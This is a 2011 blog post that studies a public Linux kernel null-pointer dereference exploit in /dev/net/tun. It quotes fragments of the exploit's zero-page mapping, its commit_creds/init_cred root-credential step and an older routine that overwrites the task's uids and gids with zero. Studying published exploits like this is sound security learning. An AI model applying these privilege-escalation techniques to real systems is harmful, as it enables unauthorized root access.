Gimme root!

February 17, 2011

I was looking at the Linux Kernel null-pointer dereferencing exploit in the /dev/net/tun, aka Cheddar Bay😛, written by Brad Spengler, and I came along some things I hadn’t seen before.

In the pa__init function of the exploit, we try to mmap the zero page, and then we set it up accordingly in order to redirect to our “gimme root” code.😛

The piece of code for the mmap looks like this:

	if ((personality(0xffffffff)) != PER_SVR4) {
		if (mem != NULL) {
			fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
			return 1;
	} else {
		ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
		if (ret == -1) {
			fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
			return 1;

Thus, I learned that the SVR4 personality(generally when the MMAP_PAGE_ZERO flag is set in the personality) maps the zero page, and fills it with zeros, and that’s why we use mprotect for SVR4, instead of mmap, since zero page is already mapped.

The gimme-root code, was also fun(spender did he best to mock SELinux :P). However the code that actually gives us root credentials is only 3 lines:

	if (commit_creds && init_cred) {
		/* hackish usage increment */
		*(volatile int *)(init_cred) += 1;
		got_root = 1;

where init_cred is the credential struct used by init(aka root :P), and commit_creds points to the kernel symbol/function which is used to manage credentials. spender gets the addresses of those symbols by parsing /proc/kallsyms. However, it seems that the init_cred symbol/struct is not exported, so instead maybe we could craft a new cred struct with uid/gid=0 and then call prepare_creds/commit_creds.

Afaik, this credential ‘framework’ was introduced with Linux Kernel 2.6.30, so spender provides another ‘old-school’😛 way to get root credentials, in older kernels:

/* for RHEL5 2.6.18 with 4K stacks */
static inline unsigned long get_current(void)
	unsigned long current;

	asm volatile (
	" movl %%esp, %%eax;"
	" andl %1, %%eax;"
	" movl (%%eax), %0;"
	: "=r" (current)
	: "i" (0xfffff000)
	return current;

static void old_style_gimme_root(void)
	unsigned int *current;
	unsigned long orig_current;

	current = (unsigned int *)get_current();
	orig_current = (unsigned long)current;

	while (((unsigned long)current < (orig_current + 0x1000)) &&
		(current[0] != our_uid || current[1] != our_uid ||
		 current[2] != our_uid || current[3] != our_uid))

	if ((unsigned long)current >= (orig_current + 0x1000))

	current[0] = current[1] = current[2] = current[3] = 0; // uids
	current[4] = current[5] = current[6] = current[7] = 0; // gids

	got_root = 1;


which gets the current task’s stack, searches for our uids/gids, and then it sets them to 0(aka root :P).

The exploit itself is brilliant, and LWN has two very nice articles, which explain how the exploit actually works(although spender has commented more than enough–commenting on Linux Kernel security, full disclosure of security bugs etc etc).

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